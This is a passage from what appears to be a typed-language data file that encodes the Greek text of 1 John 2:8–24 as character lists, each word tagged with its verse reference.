∷ word (π ∷ α ∷ ρ ∷ ά ∷ γ ∷ ε ∷ τ ∷ α ∷ ι ∷ []) "1John.2.8"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.8"
∷ word (τ ∷ ὸ ∷ []) "1John.2.8"
∷ word (φ ∷ ῶ ∷ ς ∷ []) "1John.2.8"
∷ word (τ ∷ ὸ ∷ []) "1John.2.8"
∷ word (ἀ ∷ ∙λ ∷ η ∷ θ ∷ ι ∷ ν ∷ ὸ ∷ ν ∷ []) "1John.2.8"
∷ word (ἤ ∷ δ ∷ η ∷ []) "1John.2.8"
∷ word (φ ∷ α ∷ ί ∷ ν ∷ ε ∷ ι ∷ []) "1John.2.8"
∷ word (ὁ ∷ []) "1John.2.9"
∷ word (∙λ ∷ έ ∷ γ ∷ ω ∷ ν ∷ []) "1John.2.9"
∷ word (ἐ ∷ ν ∷ []) "1John.2.9"
∷ word (τ ∷ ῷ ∷ []) "1John.2.9"
∷ word (φ ∷ ω ∷ τ ∷ ὶ ∷ []) "1John.2.9"
∷ word (ε ∷ ἶ ∷ ν ∷ α ∷ ι ∷ []) "1John.2.9"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.9"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.2.9"
∷ word (ἀ ∷ δ ∷ ε ∷ ∙λ ∷ φ ∷ ὸ ∷ ν ∷ []) "1John.2.9"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.2.9"
∷ word (μ ∷ ι ∷ σ ∷ ῶ ∷ ν ∷ []) "1John.2.9"
∷ word (ἐ ∷ ν ∷ []) "1John.2.9"
∷ word (τ ∷ ῇ ∷ []) "1John.2.9"
∷ word (σ ∷ κ ∷ ο ∷ τ ∷ ί ∷ ᾳ ∷ []) "1John.2.9"
∷ word (ἐ ∷ σ ∷ τ ∷ ὶ ∷ ν ∷ []) "1John.2.9"
∷ word (ἕ ∷ ω ∷ ς ∷ []) "1John.2.9"
∷ word (ἄ ∷ ρ ∷ τ ∷ ι ∷ []) "1John.2.9"
∷ word (ὁ ∷ []) "1John.2.10"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ῶ ∷ ν ∷ []) "1John.2.10"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.2.10"
∷ word (ἀ ∷ δ ∷ ε ∷ ∙λ ∷ φ ∷ ὸ ∷ ν ∷ []) "1John.2.10"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.2.10"
∷ word (ἐ ∷ ν ∷ []) "1John.2.10"
∷ word (τ ∷ ῷ ∷ []) "1John.2.10"
∷ word (φ ∷ ω ∷ τ ∷ ὶ ∷ []) "1John.2.10"
∷ word (μ ∷ έ ∷ ν ∷ ε ∷ ι ∷ []) "1John.2.10"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.10"
∷ word (σ ∷ κ ∷ ά ∷ ν ∷ δ ∷ α ∷ ∙λ ∷ ο ∷ ν ∷ []) "1John.2.10"
∷ word (ἐ ∷ ν ∷ []) "1John.2.10"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.2.10"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.2.10"
∷ word (ἔ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.2.10"
∷ word (ὁ ∷ []) "1John.2.11"
∷ word (δ ∷ ὲ ∷ []) "1John.2.11"
∷ word (μ ∷ ι ∷ σ ∷ ῶ ∷ ν ∷ []) "1John.2.11"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.2.11"
∷ word (ἀ ∷ δ ∷ ε ∷ ∙λ ∷ φ ∷ ὸ ∷ ν ∷ []) "1John.2.11"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.2.11"
∷ word (ἐ ∷ ν ∷ []) "1John.2.11"
∷ word (τ ∷ ῇ ∷ []) "1John.2.11"
∷ word (σ ∷ κ ∷ ο ∷ τ ∷ ί ∷ ᾳ ∷ []) "1John.2.11"
∷ word (ἐ ∷ σ ∷ τ ∷ ὶ ∷ ν ∷ []) "1John.2.11"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.11"
∷ word (ἐ ∷ ν ∷ []) "1John.2.11"
∷ word (τ ∷ ῇ ∷ []) "1John.2.11"
∷ word (σ ∷ κ ∷ ο ∷ τ ∷ ί ∷ ᾳ ∷ []) "1John.2.11"
∷ word (π ∷ ε ∷ ρ ∷ ι ∷ π ∷ α ∷ τ ∷ ε ∷ ῖ ∷ []) "1John.2.11"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.11"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.2.11"
∷ word (ο ∷ ἶ ∷ δ ∷ ε ∷ ν ∷ []) "1John.2.11"
∷ word (π ∷ ο ∷ ῦ ∷ []) "1John.2.11"
∷ word (ὑ ∷ π ∷ ά ∷ γ ∷ ε ∷ ι ∷ []) "1John.2.11"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.11"
∷ word (ἡ ∷ []) "1John.2.11"
∷ word (σ ∷ κ ∷ ο ∷ τ ∷ ί ∷ α ∷ []) "1John.2.11"
∷ word (ἐ ∷ τ ∷ ύ ∷ φ ∷ ∙λ ∷ ω ∷ σ ∷ ε ∷ ν ∷ []) "1John.2.11"
∷ word (τ ∷ ο ∷ ὺ ∷ ς ∷ []) "1John.2.11"
∷ word (ὀ ∷ φ ∷ θ ∷ α ∷ ∙λ ∷ μ ∷ ο ∷ ὺ ∷ ς ∷ []) "1John.2.11"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.2.11"
∷ word (Γ ∷ ρ ∷ ά ∷ φ ∷ ω ∷ []) "1John.2.12"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.2.12"
∷ word (τ ∷ ε ∷ κ ∷ ν ∷ ί ∷ α ∷ []) "1John.2.12"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.12"
∷ word (ἀ ∷ φ ∷ έ ∷ ω ∷ ν ∷ τ ∷ α ∷ ι ∷ []) "1John.2.12"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.2.12"
∷ word (α ∷ ἱ ∷ []) "1John.2.12"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ί ∷ α ∷ ι ∷ []) "1John.2.12"
∷ word (δ ∷ ι ∷ ὰ ∷ []) "1John.2.12"
∷ word (τ ∷ ὸ ∷ []) "1John.2.12"
∷ word (ὄ ∷ ν ∷ ο ∷ μ ∷ α ∷ []) "1John.2.12"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.2.12"
∷ word (γ ∷ ρ ∷ ά ∷ φ ∷ ω ∷ []) "1John.2.13"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.2.13"
∷ word (π ∷ α ∷ τ ∷ έ ∷ ρ ∷ ε ∷ ς ∷ []) "1John.2.13"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.13"
∷ word (ἐ ∷ γ ∷ ν ∷ ώ ∷ κ ∷ α ∷ τ ∷ ε ∷ []) "1John.2.13"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.2.13"
∷ word (ἀ ∷ π ∷ []) "1John.2.13"
∷ word (ἀ ∷ ρ ∷ χ ∷ ῆ ∷ ς ∷ []) "1John.2.13"
∷ word (γ ∷ ρ ∷ ά ∷ φ ∷ ω ∷ []) "1John.2.13"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.2.13"
∷ word (ν ∷ ε ∷ α ∷ ν ∷ ί ∷ σ ∷ κ ∷ ο ∷ ι ∷ []) "1John.2.13"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.13"
∷ word (ν ∷ ε ∷ ν ∷ ι ∷ κ ∷ ή ∷ κ ∷ α ∷ τ ∷ ε ∷ []) "1John.2.13"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.2.13"
∷ word (π ∷ ο ∷ ν ∷ η ∷ ρ ∷ ό ∷ ν ∷ []) "1John.2.13"
∷ word (ἔ ∷ γ ∷ ρ ∷ α ∷ ψ ∷ α ∷ []) "1John.2.14"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.2.14"
∷ word (π ∷ α ∷ ι ∷ δ ∷ ί ∷ α ∷ []) "1John.2.14"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.14"
∷ word (ἐ ∷ γ ∷ ν ∷ ώ ∷ κ ∷ α ∷ τ ∷ ε ∷ []) "1John.2.14"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.2.14"
∷ word (π ∷ α ∷ τ ∷ έ ∷ ρ ∷ α ∷ []) "1John.2.14"
∷ word (ἔ ∷ γ ∷ ρ ∷ α ∷ ψ ∷ α ∷ []) "1John.2.14"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.2.14"
∷ word (π ∷ α ∷ τ ∷ έ ∷ ρ ∷ ε ∷ ς ∷ []) "1John.2.14"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.14"
∷ word (ἐ ∷ γ ∷ ν ∷ ώ ∷ κ ∷ α ∷ τ ∷ ε ∷ []) "1John.2.14"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.2.14"
∷ word (ἀ ∷ π ∷ []) "1John.2.14"
∷ word (ἀ ∷ ρ ∷ χ ∷ ῆ ∷ ς ∷ []) "1John.2.14"
∷ word (ἔ ∷ γ ∷ ρ ∷ α ∷ ψ ∷ α ∷ []) "1John.2.14"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.2.14"
∷ word (ν ∷ ε ∷ α ∷ ν ∷ ί ∷ σ ∷ κ ∷ ο ∷ ι ∷ []) "1John.2.14"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.14"
∷ word (ἰ ∷ σ ∷ χ ∷ υ ∷ ρ ∷ ο ∷ ί ∷ []) "1John.2.14"
∷ word (ἐ ∷ σ ∷ τ ∷ ε ∷ []) "1John.2.14"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.14"
∷ word (ὁ ∷ []) "1John.2.14"
∷ word (∙λ ∷ ό ∷ γ ∷ ο ∷ ς ∷ []) "1John.2.14"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.2.14"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.2.14"
∷ word (ἐ ∷ ν ∷ []) "1John.2.14"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.2.14"
∷ word (μ ∷ έ ∷ ν ∷ ε ∷ ι ∷ []) "1John.2.14"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.14"
∷ word (ν ∷ ε ∷ ν ∷ ι ∷ κ ∷ ή ∷ κ ∷ α ∷ τ ∷ ε ∷ []) "1John.2.14"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.2.14"
∷ word (π ∷ ο ∷ ν ∷ η ∷ ρ ∷ ό ∷ ν ∷ []) "1John.2.14"
∷ word (Μ ∷ ὴ ∷ []) "1John.2.15"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ᾶ ∷ τ ∷ ε ∷ []) "1John.2.15"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.2.15"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ο ∷ ν ∷ []) "1John.2.15"
∷ word (μ ∷ η ∷ δ ∷ ὲ ∷ []) "1John.2.15"
∷ word (τ ∷ ὰ ∷ []) "1John.2.15"
∷ word (ἐ ∷ ν ∷ []) "1John.2.15"
∷ word (τ ∷ ῷ ∷ []) "1John.2.15"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ῳ ∷ []) "1John.2.15"
∷ word (ἐ ∷ ά ∷ ν ∷ []) "1John.2.15"
∷ word (τ ∷ ι ∷ ς ∷ []) "1John.2.15"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ᾷ ∷ []) "1John.2.15"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.2.15"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ο ∷ ν ∷ []) "1John.2.15"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.2.15"
∷ word (ἔ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.2.15"
∷ word (ἡ ∷ []) "1John.2.15"
∷ word (ἀ ∷ γ ∷ ά ∷ π ∷ η ∷ []) "1John.2.15"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.2.15"
∷ word (π ∷ α ∷ τ ∷ ρ ∷ ὸ ∷ ς ∷ []) "1John.2.15"
∷ word (ἐ ∷ ν ∷ []) "1John.2.15"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.2.15"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.16"
∷ word (π ∷ ᾶ ∷ ν ∷ []) "1John.2.16"
∷ word (τ ∷ ὸ ∷ []) "1John.2.16"
∷ word (ἐ ∷ ν ∷ []) "1John.2.16"
∷ word (τ ∷ ῷ ∷ []) "1John.2.16"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ῳ ∷ []) "1John.2.16"
∷ word (ἡ ∷ []) "1John.2.16"
∷ word (ἐ ∷ π ∷ ι ∷ θ ∷ υ ∷ μ ∷ ί ∷ α ∷ []) "1John.2.16"
∷ word (τ ∷ ῆ ∷ ς ∷ []) "1John.2.16"
∷ word (σ ∷ α ∷ ρ ∷ κ ∷ ὸ ∷ ς ∷ []) "1John.2.16"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.16"
∷ word (ἡ ∷ []) "1John.2.16"
∷ word (ἐ ∷ π ∷ ι ∷ θ ∷ υ ∷ μ ∷ ί ∷ α ∷ []) "1John.2.16"
∷ word (τ ∷ ῶ ∷ ν ∷ []) "1John.2.16"
∷ word (ὀ ∷ φ ∷ θ ∷ α ∷ ∙λ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.2.16"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.16"
∷ word (ἡ ∷ []) "1John.2.16"
∷ word (ἀ ∷ ∙λ ∷ α ∷ ζ ∷ ο ∷ ν ∷ ε ∷ ί ∷ α ∷ []) "1John.2.16"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.2.16"
∷ word (β ∷ ί ∷ ο ∷ υ ∷ []) "1John.2.16"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.2.16"
∷ word (ἔ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.2.16"
∷ word (ἐ ∷ κ ∷ []) "1John.2.16"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.2.16"
∷ word (π ∷ α ∷ τ ∷ ρ ∷ ό ∷ ς ∷ []) "1John.2.16"
∷ word (ἀ ∷ ∙λ ∷ ∙λ ∷ ὰ ∷ []) "1John.2.16"
∷ word (ἐ ∷ κ ∷ []) "1John.2.16"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.2.16"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ο ∷ υ ∷ []) "1John.2.16"
∷ word (ἐ ∷ σ ∷ τ ∷ ί ∷ ν ∷ []) "1John.2.16"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.17"
∷ word (ὁ ∷ []) "1John.2.17"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ο ∷ ς ∷ []) "1John.2.17"
∷ word (π ∷ α ∷ ρ ∷ ά ∷ γ ∷ ε ∷ τ ∷ α ∷ ι ∷ []) "1John.2.17"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.17"
∷ word (ἡ ∷ []) "1John.2.17"
∷ word (ἐ ∷ π ∷ ι ∷ θ ∷ υ ∷ μ ∷ ί ∷ α ∷ []) "1John.2.17"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.2.17"
∷ word (ὁ ∷ []) "1John.2.17"
∷ word (δ ∷ ὲ ∷ []) "1John.2.17"
∷ word (π ∷ ο ∷ ι ∷ ῶ ∷ ν ∷ []) "1John.2.17"
∷ word (τ ∷ ὸ ∷ []) "1John.2.17"
∷ word (θ ∷ έ ∷ ∙λ ∷ η ∷ μ ∷ α ∷ []) "1John.2.17"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.2.17"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.2.17"
∷ word (μ ∷ έ ∷ ν ∷ ε ∷ ι ∷ []) "1John.2.17"
∷ word (ε ∷ ἰ ∷ ς ∷ []) "1John.2.17"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.2.17"
∷ word (α ∷ ἰ ∷ ῶ ∷ ν ∷ α ∷ []) "1John.2.17"
∷ word (Π ∷ α ∷ ι ∷ δ ∷ ί ∷ α ∷ []) "1John.2.18"
∷ word (ἐ ∷ σ ∷ χ ∷ ά ∷ τ ∷ η ∷ []) "1John.2.18"
∷ word (ὥ ∷ ρ ∷ α ∷ []) "1John.2.18"
∷ word (ἐ ∷ σ ∷ τ ∷ ί ∷ ν ∷ []) "1John.2.18"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.18"
∷ word (κ ∷ α ∷ θ ∷ ὼ ∷ ς ∷ []) "1John.2.18"
∷ word (ἠ ∷ κ ∷ ο ∷ ύ ∷ σ ∷ α ∷ τ ∷ ε ∷ []) "1John.2.18"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.18"
∷ word (ἀ ∷ ν ∷ τ ∷ ί ∷ χ ∷ ρ ∷ ι ∷ σ ∷ τ ∷ ο ∷ ς ∷ []) "1John.2.18"
∷ word (ἔ ∷ ρ ∷ χ ∷ ε ∷ τ ∷ α ∷ ι ∷ []) "1John.2.18"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.18"
∷ word (ν ∷ ῦ ∷ ν ∷ []) "1John.2.18"
∷ word (ἀ ∷ ν ∷ τ ∷ ί ∷ χ ∷ ρ ∷ ι ∷ σ ∷ τ ∷ ο ∷ ι ∷ []) "1John.2.18"
∷ word (π ∷ ο ∷ ∙λ ∷ ∙λ ∷ ο ∷ ὶ ∷ []) "1John.2.18"
∷ word (γ ∷ ε ∷ γ ∷ ό ∷ ν ∷ α ∷ σ ∷ ι ∷ ν ∷ []) "1John.2.18"
∷ word (ὅ ∷ θ ∷ ε ∷ ν ∷ []) "1John.2.18"
∷ word (γ ∷ ι ∷ ν ∷ ώ ∷ σ ∷ κ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.2.18"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.18"
∷ word (ἐ ∷ σ ∷ χ ∷ ά ∷ τ ∷ η ∷ []) "1John.2.18"
∷ word (ὥ ∷ ρ ∷ α ∷ []) "1John.2.18"
∷ word (ἐ ∷ σ ∷ τ ∷ ί ∷ ν ∷ []) "1John.2.18"
∷ word (ἐ ∷ ξ ∷ []) "1John.2.19"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.2.19"
∷ word (ἐ ∷ ξ ∷ ῆ ∷ ∙λ ∷ θ ∷ α ∷ ν ∷ []) "1John.2.19"
∷ word (ἀ ∷ ∙λ ∷ ∙λ ∷ []) "1John.2.19"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.2.19"
∷ word (ἦ ∷ σ ∷ α ∷ ν ∷ []) "1John.2.19"
∷ word (ἐ ∷ ξ ∷ []) "1John.2.19"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.2.19"
∷ word (ε ∷ ἰ ∷ []) "1John.2.19"
∷ word (γ ∷ ὰ ∷ ρ ∷ []) "1John.2.19"
∷ word (ἐ ∷ ξ ∷ []) "1John.2.19"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.2.19"
∷ word (ἦ ∷ σ ∷ α ∷ ν ∷ []) "1John.2.19"
∷ word (μ ∷ ε ∷ μ ∷ ε ∷ ν ∷ ή ∷ κ ∷ ε ∷ ι ∷ σ ∷ α ∷ ν ∷ []) "1John.2.19"
∷ word (ἂ ∷ ν ∷ []) "1John.2.19"
∷ word (μ ∷ ε ∷ θ ∷ []) "1John.2.19"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.2.19"
∷ word (ἀ ∷ ∙λ ∷ ∙λ ∷ []) "1John.2.19"
∷ word (ἵ ∷ ν ∷ α ∷ []) "1John.2.19"
∷ word (φ ∷ α ∷ ν ∷ ε ∷ ρ ∷ ω ∷ θ ∷ ῶ ∷ σ ∷ ι ∷ ν ∷ []) "1John.2.19"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.19"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.2.19"
∷ word (ε ∷ ἰ ∷ σ ∷ ὶ ∷ ν ∷ []) "1John.2.19"
∷ word (π ∷ ά ∷ ν ∷ τ ∷ ε ∷ ς ∷ []) "1John.2.19"
∷ word (ἐ ∷ ξ ∷ []) "1John.2.19"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.2.19"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.20"
∷ word (ὑ ∷ μ ∷ ε ∷ ῖ ∷ ς ∷ []) "1John.2.20"
∷ word (χ ∷ ρ ∷ ῖ ∷ σ ∷ μ ∷ α ∷ []) "1John.2.20"
∷ word (ἔ ∷ χ ∷ ε ∷ τ ∷ ε ∷ []) "1John.2.20"
∷ word (ἀ ∷ π ∷ ὸ ∷ []) "1John.2.20"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.2.20"
∷ word (ἁ ∷ γ ∷ ί ∷ ο ∷ υ ∷ []) "1John.2.20"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.20"
∷ word (ο ∷ ἴ ∷ δ ∷ α ∷ τ ∷ ε ∷ []) "1John.2.20"
∷ word (π ∷ ά ∷ ν ∷ τ ∷ ε ∷ ς ∷ []) "1John.2.20"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.2.21"
∷ word (ἔ ∷ γ ∷ ρ ∷ α ∷ ψ ∷ α ∷ []) "1John.2.21"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.2.21"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.21"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.2.21"
∷ word (ο ∷ ἴ ∷ δ ∷ α ∷ τ ∷ ε ∷ []) "1John.2.21"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.2.21"
∷ word (ἀ ∷ ∙λ ∷ ή ∷ θ ∷ ε ∷ ι ∷ α ∷ ν ∷ []) "1John.2.21"
∷ word (ἀ ∷ ∙λ ∷ ∙λ ∷ []) "1John.2.21"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.21"
∷ word (ο ∷ ἴ ∷ δ ∷ α ∷ τ ∷ ε ∷ []) "1John.2.21"
∷ word (α ∷ ὐ ∷ τ ∷ ή ∷ ν ∷ []) "1John.2.21"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.21"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.21"
∷ word (π ∷ ᾶ ∷ ν ∷ []) "1John.2.21"
∷ word (ψ ∷ ε ∷ ῦ ∷ δ ∷ ο ∷ ς ∷ []) "1John.2.21"
∷ word (ἐ ∷ κ ∷ []) "1John.2.21"
∷ word (τ ∷ ῆ ∷ ς ∷ []) "1John.2.21"
∷ word (ἀ ∷ ∙λ ∷ η ∷ θ ∷ ε ∷ ί ∷ α ∷ ς ∷ []) "1John.2.21"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.2.21"
∷ word (ἔ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.2.21"
∷ word (τ ∷ ί ∷ ς ∷ []) "1John.2.22"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.2.22"
∷ word (ὁ ∷ []) "1John.2.22"
∷ word (ψ ∷ ε ∷ ύ ∷ σ ∷ τ ∷ η ∷ ς ∷ []) "1John.2.22"
∷ word (ε ∷ ἰ ∷ []) "1John.2.22"
∷ word (μ ∷ ὴ ∷ []) "1John.2.22"
∷ word (ὁ ∷ []) "1John.2.22"
∷ word (ἀ ∷ ρ ∷ ν ∷ ο ∷ ύ ∷ μ ∷ ε ∷ ν ∷ ο ∷ ς ∷ []) "1John.2.22"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.2.22"
∷ word (Ἰ ∷ η ∷ σ ∷ ο ∷ ῦ ∷ ς ∷ []) "1John.2.22"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.2.22"
∷ word (ἔ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.2.22"
∷ word (ὁ ∷ []) "1John.2.22"
∷ word (χ ∷ ρ ∷ ι ∷ σ ∷ τ ∷ ό ∷ ς ∷ []) "1John.2.22"
∷ word (ο ∷ ὗ ∷ τ ∷ ό ∷ ς ∷ []) "1John.2.22"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.2.22"
∷ word (ὁ ∷ []) "1John.2.22"
∷ word (ἀ ∷ ν ∷ τ ∷ ί ∷ χ ∷ ρ ∷ ι ∷ σ ∷ τ ∷ ο ∷ ς ∷ []) "1John.2.22"
∷ word (ὁ ∷ []) "1John.2.22"
∷ word (ἀ ∷ ρ ∷ ν ∷ ο ∷ ύ ∷ μ ∷ ε ∷ ν ∷ ο ∷ ς ∷ []) "1John.2.22"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.2.22"
∷ word (π ∷ α ∷ τ ∷ έ ∷ ρ ∷ α ∷ []) "1John.2.22"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.22"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.2.22"
∷ word (υ ∷ ἱ ∷ ό ∷ ν ∷ []) "1John.2.22"
∷ word (π ∷ ᾶ ∷ ς ∷ []) "1John.2.23"
∷ word (ὁ ∷ []) "1John.2.23"
∷ word (ἀ ∷ ρ ∷ ν ∷ ο ∷ ύ ∷ μ ∷ ε ∷ ν ∷ ο ∷ ς ∷ []) "1John.2.23"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.2.23"
∷ word (υ ∷ ἱ ∷ ὸ ∷ ν ∷ []) "1John.2.23"
∷ word (ο ∷ ὐ ∷ δ ∷ ὲ ∷ []) "1John.2.23"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.2.23"
∷ word (π ∷ α ∷ τ ∷ έ ∷ ρ ∷ α ∷ []) "1John.2.23"
∷ word (ἔ ∷ χ ∷ ε ∷ ι ∷ []) "1John.2.23"
∷ word (ὁ ∷ []) "1John.2.23"
∷ word (ὁ ∷ μ ∷ ο ∷ ∙λ ∷ ο ∷ γ ∷ ῶ ∷ ν ∷ []) "1John.2.23"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.2.23"
∷ word (υ ∷ ἱ ∷ ὸ ∷ ν ∷ []) "1John.2.23"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.23"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.2.23"
∷ word (π ∷ α ∷ τ ∷ έ ∷ ρ ∷ α ∷ []) "1John.2.23"
∷ word (ἔ ∷ χ ∷ ε ∷ ι ∷ []) "1John.2.23"
∷ word (ὑ ∷ μ ∷ ε ∷ ῖ ∷ ς ∷ []) "1John.2.24"
∷ word (ὃ ∷ []) "1John.2.24"
∷ word (ἠ ∷ κ ∷ ο ∷ ύ ∷ σ ∷ α ∷ τ ∷ ε ∷ []) "1John.2.24"
∷ word (ἀ ∷ π ∷ []) "1John.2.24"
∷ word (ἀ ∷ ρ ∷ χ ∷ ῆ ∷ ς ∷ []) "1John.2.24"
∷ word (ἐ ∷ ν ∷ []) "1John.2.24"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.2.24"
∷ word (μ ∷ ε ∷ ν ∷ έ ∷ τ ∷ ω ∷ []) "1John.2.24"
∷ word (ἐ ∷ ὰ ∷ ν ∷ []) "1John.2.24"
∷ word (ἐ ∷ ν ∷ []) "1John.2.24"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.2.24"
∷ word (μ ∷ ε ∷ ί ∷ ν ∷ ῃ ∷ []) "1John.2.24"
∷ word (ὃ ∷ []) "1John.2.24"
∷ word (ἀ ∷ π ∷ []) "1John.2.24"
∷ word (ἀ ∷ ρ ∷ χ ∷ ῆ ∷ ς ∷ []) "1John.2.24"
∷ word (ἠ ∷ κ ∷ ο ∷ ύ ∷ σ ∷ α ∷ τ ∷ ε ∷ []) "1John.2.24"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.24"
∷ word (ὑ ∷ μ ∷ ε ∷ ῖ ∷ ς ∷ []) "1John.2.24"
∷ word (ἐ ∷ ν ∷ []) "1John.2.24"
∷ word (τ ∷ ῷ ∷ []) "1John.2.24"
∷ word (υ ∷ ἱ ∷ ῷ ∷ []) "1John.2.24"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.2.24"
∷ word (ἐ ∷ ν ∷ []) "1John.2.24"
∷ word (τ ∷ ῷ ∷ []) "1John.2.24"
∷ word (π ∷ α ∷ τ ∷ ρ ∷ ὶ ∷ []) "1John.2.24"
